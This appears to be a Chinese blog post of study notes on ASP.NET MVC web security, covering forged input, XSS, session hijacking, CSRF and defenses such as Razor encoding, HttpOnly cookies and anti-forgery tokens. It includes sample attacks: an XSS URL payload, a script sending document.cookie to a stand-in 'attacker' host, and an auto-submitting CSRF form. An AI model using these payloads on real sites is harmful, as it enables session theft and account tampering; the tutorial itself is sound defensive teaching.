本章会简要阐释对用户而言操纵HTTP请求(例如,修改cookies,隐藏或禁用表单字段等)是多么容易的事情,这会让我们在正确的思维框架下清楚地考虑web的安全性。接着会依次介绍常见的避免攻击的指南,并了解它们的工作原理以及它们怎么应用到MVC框架里面。还会描述如果阻止每一种攻击的形式或者是更换的并设计出来。
所有的输入都是可以被伪造的(All Input Can Be Forged)
有这样一句话:不要相信用户的输入。用户的输入有哪些种类呢?如下所示:
①传入的URLs(包括Request.QueryString[]的值)
②表单提交的值(Request.Form[]的值,包括隐藏域和禁用的字段值)
③Cookies
④Http报头的值(例如Request.UserAgent和Request.UrlReferrer)
基本上,用户的输入包括Http请求的全部内容。这不是让我们停止使用cookies或querystring的意思,而是让我们明白在设计应用程序的时候,不要天真的以为用户不可能操纵cookie或隐藏表单的值。
HTTP的工作原理(HOW DOES HTTP WORK?)
1.简单的Get请求
当浏览器发起一个URL请求如www.example.com/path/resource,浏览器会对域名执行DNS查找,并在这个IP地址的80端口上打开一个TCP连接并发送如下数据:
GET /path/resource HTTP/1.1
Host: www.example.com
[空行]
也有一些额外的报头,但这是所有严格要求的。web服务器响应以下内容:
HTTP/1.1 200 OK
Date: Wed, 31 Mar 2010 14:39:58 GMT
Server: Microsoft-IIS/6.0
Content-Type: text/plain; charset=utf-8
<HTML>
<BODY>
I say, this is a <i>fine</i> web page.
</BODY>
</HTML>
2.带cookies的Post请求
Post请求也不是非常复杂,主要的不同是它能够在HTTP报头之后包括一些发送的负荷内容。下面的例子中包含常见的HTTP报头:
POST /path/resource HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 Firefox/2.0.0.12
Accept: text/xml,application/xml,*/*;q=0.5
Content-Type: application/x-www-form-urlencoded
Referer: http://www.example.com/somepage.html
Content-Length: 45
Cookie: Cookie1=FirstValue; Cookie2=SecondValue
firstFormField=value1&secondFormField=value2
这些负荷内容是一套键值对,通常是代表了一个form里面的所有input控件。cookies也是在一个单独的HTTP报头里面作为通过分号分隔的一序列键值对传输。注意:我们不能严格的控制cookie的过期时间,可以设置一个期望的时间,但是不能强迫浏览器一定会满足我们的期望。
伪造HTTP请求(Forging HTTP Requests)
最基本,最低级的发送一个随意的HTTP请求的方式是使用DOS控制程序telnet代替web浏览器。打开一个命令行对话框,输入telnet www.cnblogs.com 80.这种方式表明任何人都可以发给服务器任何报头和cookie的值。(win7默认没有安装telnet客户端,可以在控制面板→程序和功能→打开/关闭windows功能→Telnet客户端)(这里我测试没返回HTML结果,不知道是什么原因 )
然后如果手动的去键入整个HTTP请求而不犯错会有困难,更加容易的方式是截取一个实际的web请求然后修改它。Fiddler就是这样一个能够记录所有客户端和服务器间的http请求,允许你监视,设置断点,甚至修改输入输出数据,它作为一个本地的web代理的工具,浏览器通过它发送请求而不是直接到Internet。举个例子,可能有网站层使用cookie来存放用户的角色,定一个IsAdmin的cookie(值为true/false),这时我们就可以改变cookie的值然后发送实际的请求。我试过用Fiddler来改变cookie的值但是右键没有编辑的选项,可能是我不会用Fiddler的原因吧,知道的童鞋请留言告诉我,谢谢。这里我直接截取书中的图给大家看下:
类似的,我们可以编辑Post的数据绕过客户端验证或者发送一个假的Request.UrlReferrer信息。除非我们可疑的对待每一个HTTP请求,否则就让一些恶意的或者好奇的访问者更加容易的访问网站的数据或通过修改querystring,form,cookie数据来执行没有授权的action。解决这个问题的方案不是组织请求操纵或者期望ASP.NET MVC来为我们处理,而是检查接收的每一个登录的用户的请求是否合法。
跨站点脚本和HTML注入(Cross-Site Scripting and HTML Injection)
一种更加阴险的攻击策略是强迫不知情的第三方浏览器发送代表了攻击者的HTTP请求,滥用在应用程序和受害者之间已经确立的身份关系。跨站点脚本是最有名的并且广泛利用的影响Web应用程序的安全问题之一。原理非常简单:如果一个攻击者得到我们的站点并返回一些随意的js给访问者,那么攻击者的脚本就能够控制访问者的浏览会话,并可能动态的修改HTML DOM让我们页面受损,比如注入不同的内容,像弹出一个兑奖窗口什么的,或者将访问者导向了其他站点。还或者利用用户对我们域名或品牌的信任诱导或强制用户安装他们的软件。
跨站的关键是攻击者利用我们的服务器返回他们的脚本给访问者,那么脚本就可以运行在我们域名这样一个安排的背景下。攻击者有两种实现的方式:
1.持久的:在网站的一些交互功能区,如留言板。输入恶意的内容,并且期望于我们会将这些内容存入数据库并呈现给其他的访问者。
2.非持久的或被动的:通过找到一种在请求里发送恶意数据的方法并且让应用程序仿效发送的数据进行响应,然后攻击者会找到一种方式来欺骗受害者发起这样的请求。
理解一个XSS的漏洞(Understanding an XSS Vulnerability)
在前面SportsStroe示例项目里面,我们添加了一个Index的action并接收一个returnUrl的参数。这个参数会被复制到CartIndexViewModel对象(作为视图模型对象传递给视图)视图使用这个值呈现如下链接:<a href="@Model.ReturnUrl">继续购物</a>。很容易从中看出一个潜在的XSS漏洞,由于响应的部分HTML标签使用了querystring参数的值来生成,攻击者可能会试图提供静心设计returnUrl querystring参数,从而导致结果页包含了恶意脚本。例如攻击者可能诱导用户跟随下面的URL:
http://yoursite/Cart/Index?returnUrl="+onmousemove="alert('XSS!')"+style="position: absolute;left:0;top:0;width:100%;height:100%;
可能你觉得上面的URL不足以诱导用户,其实攻击者可以通过一个URL压缩服务隐藏URL并且把它包含在Email里面。很多用户对中奖什么信息非常愿意去打开。
注:上面是例子是非常简单的,攻击代码使用了querystring作为参数。但是这不表示form参数(POST提交的参数值)就会更加安全,攻击者同样可以设置一个包含表单页面作为POST请求发送到你的站点并且诱导用户访问他们的页面。
之所以会有这个问题出现,是因为浏览器会信任在我们发送的页面里面注入的脚本,认为它们是合法的。并允许这些脚本访问cookies,cached对象以及跟程序相关的HTML。攻击者能够很容易的窃取这个数据,并用它访问我们的网站,或者巧妙地重定向用户到一个伪造的站点骗取用户的关键信息(密码,各种卡)
Razor HTML编码(Razor HTML Encoding)
幸运的是,前面提到的攻击不会默认运行。Razor视图引擎帮助我们对任何引用了"@"标签的数据进行了编码,让它们作为HTML安全的呈现出来。也就是说,当我们发起上面的URL请求时,Razor会处理returnUrl的值并且替换掉特殊的字符,呈现的javascript脚本也是无效的。如下:
<a href="" onmousemove="alert('XSS!')" style="position:
absolute;left:0;top:0;width:100%;height:100%;">Continue shopping</a>
我们也可以绕过自动的HTML编码,尽管很少有理由来这么做。Razor引擎处理的是MvcHtmlString对象的内容(被编码过的),如果不想被编码可以这样:
<a href="@Html.Raw( Model.ReturnUrl) ">Continue shopping</a>
使用这样方式时候需要我们非常谨慎,而且不应该对任何用户提交的数据都使用。
Tip:有时需要允许用户提供或编辑HTML标签来让其他的用户看到,例如在CMS系统里面,我们不得发布用户提供的数据,为了保持用户数据的原始性不能对数据进行编码,这已经造成了内住的危险性。能够缓和这个危险发生的方式就是严格地过滤:使用HTML Agility Pack这样的HTML解析器来确保用户提交的HTML只包含程序允许的标签,CSS等等。HMTL过滤很容易出错,因为恶意脚本能够嵌入在看似没有危害的地方(如CSS或<img>标签的src属性里面),要了解更多关于脚本隐藏的内容可以看这里。
请求验证(Request Validation)
抵御攻击的第二道防线就是ASP.NET平台提供的请求验证功能,目的就是为了阻止潜在的危险数据到达应用程序。如果用户试图提交类似HTML的数据,ASP.NET会抛出一个异常。这是发生在请求传递到MVC框架之前,所以程序不会接收到这些数据。请求验证听上去好像比实际的更加有用,它的确能够阻止攻击,但也产生了许多错误的报警,这样可能会让用户感到困惑。这是因为请求验证会拒绝任何类似HTML标签的数据,并且包含了经过验证的数据。例如,请求验证功能会拒绝一个完全经过验证的字符串,
如"I'm writing C# code with generics, e.g., List<string>"并且因为这里的请求始终没有到达MVC应用程序,所以,我们也不能提供相应的指示来帮助用户避免错误。
注:我们会发现请求验证的最大的问题就是会造成很多错误的安全感知信息,开发者依靠请求验证,但是由于产生的错误信息会让用户感到困惑,所以经常在实际的生产中会禁用这个功能。
禁用请求验证(Disabling Request Validation)
有三种方式来禁用,第一种方式:在Model里面对属性使用AllowHtml特性,如下:
using System.ComponentModel.DataAnnotations; using System.Web.Mvc; namespace SecurityAndVulnerability.Models { public class Appointment { [AllowHtml] public string ClientName { get; set; } [DataType(DataType.Date)] public DateTime Date { get; set; } public bool TermsAccepted { get; set; } } }
上面展示了应用到属性上的特性AllowHtml,这里的对ClientName禁用了请求验证,因此对所有的action和controller都会生效。第二种方式:对controller使用ValidateInput特性,如下:
[ValidateInput(false)] public class AppointmentController : Controller { public ViewResult MakeBooking() { return View(new Appointment { Date = DateTime.Now }); } .....
上面对整个controller禁用了请求验证功能,当然还可以只对单个的action应用。
javascript字符串编码与XSS(JavaScript String Encoding and XSS)
有时,我们可能想在javascript代码块中间呈现用户提交的数据。这样做可能有点复杂,因为javascript和HTML展示文本的方式是不同的。下面是在脚本中包含了用户数据的:
![](https://yqfile.alicdn.com/img_1c53668bcee393edac0d7b3b3daff1ae.gif?x-oss-process=image/resize,w_1400/format,webp)
![](https://yqfile.alicdn.com/img_405b18b4b6584ae338e0f6ecaf736533.gif?x-oss-process=image/resize,w_1400/format,webp)
//添加一个controller:HomeController using System.Web.Mvc; namespace SecurityAndVulnerability.Controllers { public class HomeController : Controller { public ActionResult Index() { return View((object)string.Empty); } [HttpPost] [ValidateInput(false)] public ActionResult Index(string term) { return View("Search", (object)term); } } } //添加两个视图Index和Search //Index @model string @{ ViewBag.Title = "Search"; } <h4>Search</h4> @using (Html.BeginForm()) { @:Enter search term: @Html.TextBox("term") <input type="submit" value="Search" /> } //Search @model string @{ ViewBag.Title = "Search"; } <h4>Results</h4> <ul id="results"></ul> <script type="text/javascript"> $(function () { var searchTerm ="@Model" $.getJSON("http://ajax.googleapis.com/ajax/services/search/web?callback=?", { q: searchTerm, v: "1.0" }, function (searchResults) { $("#results").children().remove(); $.each(searchResults.responseData.results, function () { $("#results").append($("<li>").html(this.title)); }); } ); }); </script>
js脚本获取了一个用户发送给action方法的值并且使用这个值作为查询项,查询Google。Razor会自动编码用户提交的数据,这样执行非常好,可以阻止XSS攻击。但是如果用户提供的值有特殊字符,如我们查询".NET Apress",如下:
接着把.NET用双引号引起,如下:
javascript不能识别引号,而是用"代替了,这样返回的结果就会很奇怪。我们不能依靠HTML编码,并且不想在不安全的情况下呈现用户提供的数据。幸运的是,有一种替代的方式,尽管可能看起来不是那么优雅。Ajax辅助类有一个JavaScriptStringEncode方法,能够编码一个字符串让其安全的展示并且避开了特殊字符以至于javascript能够理解。修改Search视图里面的一行如下:
<script type="text/javascript"> $(function () { var searchTerm = "@MvcHtmlString.Create(Ajax.JavaScriptStringEncode(Model))";
//还可以使用@Html.Raw(Ajax.JavaScriptStringEncode(Model)) //var searchTerm = "@Model"; $.getJSON("http://ajax.googleapis.com/ajax/services/search/web?callback=?", { q: searchTerm, v: "1.0" }, function (searchResults) { $("#results").children().remove(); $.each(searchResults.responseData.results, function () { $("#results").append($("<li>").html(this.title)); }); } ); }); </script>
这时再测试下,效果如下:
达到了我要的效果。注意到,通过Ajax辅助类来生成的结果需要使用MvcHtmlString.Create或Html.Raw方法进行转换,如果不这样做,Razor仍然会对搜索项进行编码,结果回到了我们之前的状态。
Session劫持(Session Hijacking)
如果攻击者能够精心安排一个次成功的XSS攻击,那么接下来通常会控制用户的账户。常用的策略是Session劫持,也被成为cookie窃取。在浏览会话的过程中,ASP.NET通过一个session ID cookie(默认为ASP.NET_SessionId)的方式来识别用户身份。如果我们使用Forms验证,那么会使用第二个cookie(默认为.ASPXAUTH)。如果攻击者能够获取这些cookies,他们就能够在请求中包含这些信息发送到服务器,并模拟了一个我们的用户。这假定了第三方能够读取跟域名相关的cookies,因为现在的浏览器在阻止javascript跨站点访问cookie这方面已经做的非常好了,但是如果攻击者已经能够注入一段脚本到我们的页面,那么就会让浏览器以为这段脚本是我们程序的一部分并且授权它访问session cookies。如果这种情况发生,攻击者就很容易使用cookies跟我们的程序进行通话(phone home)了。如下:
<script>
var img = document.createElement("IMG");
img.src = "http://attacker/receiveData?cookies=" + encodeURI(document.cookie);
document.body.appendChild(img);
</script>
无论我们多么小心的避免XSS漏洞,也不能全部考虑到。所以需要添加额外的防护来抵御session劫持。
客户端IP检查(Defense via Client IP Address Checks)
如果在Session启动的时候记录每一个客户端的IP地址,这样就可以拒绝任何源头来自不同IP的请求,这对于我们减少session劫持有重大意义。使用这种方式会有一个问题:因为有时在一次会话过程中需要改变客户端IP,用户可能无意中从ISP的连接断开了并且会自动重新连接,这时会赋予一个不同的IP地址。或者是ISP可能是通过一套负载均衡的代理服务器来处理所有的HTTP传输,这样的话,每一个会话请求会显示来自不同的IP地址。所以这种方式非常有局限,只有在客户端IP不变的情况下使用。
在cookies上设置HttpOnly标志(Defense by Setting the HttpOnly Flag on Cookies)
在2002年,微软给IE添加了一个有价值的功能:HttpOnly cookie,从那以后这个功能成为了其他浏览器一个实际的标准。这个想法很简单:声明一个带HttpOnly标志的cookie,浏览器会隐藏它但是仍然会在所有的请求中继续发送。这样可以阻止前面提到的"phone home"XSS漏洞,同时又允许服务器对cookie的跟踪和验证。可以立一个简单的规则:除了在极少数情况下需要在客户端通过javascript访问cookie外,其他都标记为HttpOnly。ASP.NET会默认标记ASP.NET_SessionId和.ASPXAUTH为HttpOnly,这样Forms验证会得到很好的保护。可以这样使用cookie:
Response.Cookies.Add(new HttpCookie("MyCookie")
{
Value = "my value",
HttpOnly = true
});
当然这也不是防止cookie劫持的完全方法,因为我们可能在其他不注意的地方暴露cookie的内容。例如,如果我们有一个错误处理页,它展示了用来调试用的HTTP报头,那么XSS能够很容易的由响应页面促使一个错误并且读取cookie的值。
跨站请求伪造(Cross-Site Request Forgery)
由于我们常常把所有的注意力放在了XSS上,所以有时会忘记一个跟XSS具有同等破坏性的攻击:CSRF(跨站请求伪造)。这是一个非常基本和明显的攻击,但也常常被忽视。思考这样一个典型的站点:允许登录用户通过一个UserProfileController的控制器管理他们的个人信息。如下:
![](https://yqfile.alicdn.com/img_1c53668bcee393edac0d7b3b3daff1ae.gif?x-oss-process=image/resize,w_1400/format,webp)
![](https://yqfile.alicdn.com/img_405b18b4b6584ae338e0f6ecaf736533.gif?x-oss-process=image/resize,w_1400/format,webp)
public class UserProfileController : Controller { public ViewResult Edit() { var userProfile = GetExistingUserProfile(); return View(userProfile); } [HttpPost] public ActionResult Edit(string email, string hobby) { var userProfile = GetExistingUserProfile(); userProfile.Email = email; userProfile.Hobby = hobby; SaveUserProfile(userProfile); return RedirectToAction("Index", "Home"); } private UserProfile GetExistingUserProfile() {...} private void SaveUserProfile(UserProfile profile) {...} }
访问者初次访问的是没有参数的Edit(),会在<form>里面展示当前个性化的信息,然后提交给处理POST请求的Edit()并保存到数据库,这里没有XSS漏洞。
攻击(Attack)
看起来好像没什么危害,但是,任何人都可以通过诱导用户访问下面的HTML页来安装一个外部的攻击,如下:
<body onload="document.getElementById('fm1').submit()">
<form id="fm1" action="http://yoursite/UserProfile/Edit" method="post">
<input name="email" value="hacker@somewhere.evil" />
<input name="hobby" value="Defacing websites" />
</form>
</body>
当这个页面加载时,仅仅是发送一个验证的表单到到处理POST请求的Edit()。假定我们正在使用一些基于cookie的验证系统并且当前的用户有一个经过验证的cookie,他们的浏览器将发送这个请求,我们的服务器也会对这个请求采取相应的动作。现在,受害者的个人邮箱地址已经被攻击掌握了。可能这个例子看起来跟我们没有什么关系,考虑下其他的人通过发起一个HTTP请求可以利用我们程序的什么actions——能够购买一件商品?删除商品?转账汇款?发表文章?等等。
防御(Defense)
有两种策略来防御CSRF攻击:
1.验证HTTP引用的报头:Request.UrlReferrer如果不是我们期望出现的第三方的域名,就可以判断这个是跨站请求。浏览器不一定会发送报头,所以这种方式有时会没用。
2.在敏感的请求里指定必须的具体用户标志(token):如果我们让用户必须在每一个表单填写账户密码话,那么第三方是不能够伪造跨站请求的,但是这样会非常不方便用户的操作。
一个比较好的选择是让服务器生成一个秘密的用户标识并放在隐藏域里面,然后在表单提交的时候检查呈递的token。MVC框架里面已经有了对这个技术的实现:
使用Antiforgery辅助方法(Preventing CSRF Using the Antiforgery Helpers)
我可以结合MVC框架的 Html.AntiForgeryToken()与[ValidateAntiForgeryToken]过滤器来探测和阻止CSRF攻击。在实际表单包含Html.AntiForgeryToken()方法,如下:
@using(Html.BeginForm()) {
@Html.AntiForgeryToken()
..........
}
页面显示为:
<form action="/UserProfile/Edit" method="post" >
<input name="__RequestVerificationToken" type="hidden" value="B0aG+O+Bi/5..." />
..........
</form>
同时Html.AntiForgeryToken()方法会给用户一个名称以__RequestVerificationToken打头的cookie。这个cookie包含与隐藏域相同的随机值,这些值在浏览会话中是不变的。
接着,我们必须通过添加[ValidateAntiForgeryToken]特性来验证提交的表单,如下:
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Edit(string email, string hobby)
{
// ...
}
[ValidateAntiForgeryToken]是一个授权过滤器,用来检查请求里面的 __RequestVerificationToken的值和cookie的值是否匹配,如果不匹配会抛异常并阻止请求。这种方式可以阻止CSRF,因为即使潜在的受害者有一个__RequestVerificationToken的cookie,攻击者也不会知道随机值。并且用户也不会有什么不便,因为这种机制是静默的。
这种方式能够很好的运作,但我们需要知道相关限制:
1.浏览器必须接收cookie 2.必须是POST提交 3.如果有任何XSS漏洞,就很容易被绕过——因为这个漏洞允许攻击给定一个当前的__RequestVerificationToken值,然后再伪造一个POST提交,所以一定要注意XSS漏洞。
SQL注入(SQL Injection)
这部分大家应该比较熟悉了,所以略去。
安全地使用MVC框架(Using the MVC Framework Securely)
到目前为止,我们了解web应用程序常见的安全问题(攻击与防御)。但是还有一些需要我们注意的,就是滥用或误用MVC框架造成的危险。
不要偶然的暴露Action方法(Don’t Expose Action Methods Accidentally)
默认情况下,任何在控制器里面的public方法都是action方法并且依靠路由配置,能够被任何人调用。但这通常是程序员容易忘记的,例如,在下面的控制器,仅仅Change()方法是可以访问的。
![](https://yqfile.alicdn.com/img_1c53668bcee393edac0d7b3b3daff1ae.gif?x-oss-process=image/resize,w_1400/format,webp)
![](https://yqfile.alicdn.com/img_405b18b4b6584ae338e0f6ecaf736533.gif?x-oss-process=image/resize,w_1400/format,webp)
public class PasswordController : Controller { public ActionResult Change(string oldpwd, string newpwd, string newpwdConfirm) { string username = HttpContext.User.Identity.Name; // 检查请求是否合法 if ((newpwd == newpwdConfirm) && MyUsers.VerifyPassword(username, oldpwd)) DoPasswordChange(username, newpwd); // ... } public void DoPasswordChange(string username, string newpassword) { // 请求已经经过验证 User user = MyUsers.GetUser(username); user.SetPassword(newpassword); MyUsers.SaveUser(user); } }
这里将DoPasswordChange()标记为public,开了一个后门,局外人可以调用它来修改任何人的密码。
通常请求下,除非方法作为action方法否则没什么理由将Controller里面的方法设置为public。然而,如果我们想有一个不是action的public方法,可以使用[NonAction]特性,如:
[NonAction]
public void DoPasswordChange(string username, string newpassword) {...}
标记了【NonAction】的地方,MVC不会让它服务任何请求。
不要让模型绑定改变敏感的属性(Don’t Allow Model Binding to Change Sensitive Properties)
当模型绑定填充对象时,默认情况下会把值写到每一个请求对象的属性。例如,如果action方法接收一个Booking对象,Booking有一个int的属性DiscountPercent,那么恶意的访问者可能在URL后附加一个?DiscountPercent=100并获取一个便宜的假期。为了避免这种情况,可以使用[Bind]特性设置一个白名单限制模型绑定填充的属性。如下:
public ActionResult Edit([Bind(Include = "NumAdults, NumChildren")] Booking booking) {...}
同样也可以设置黑名单哈(Exclude),具体可以参考前面模型绑定的章节。
好了,本章的笔记到这里结束,关于web安全的话题我也不是很了解,非常希望路过的朋友能够留下你们见解。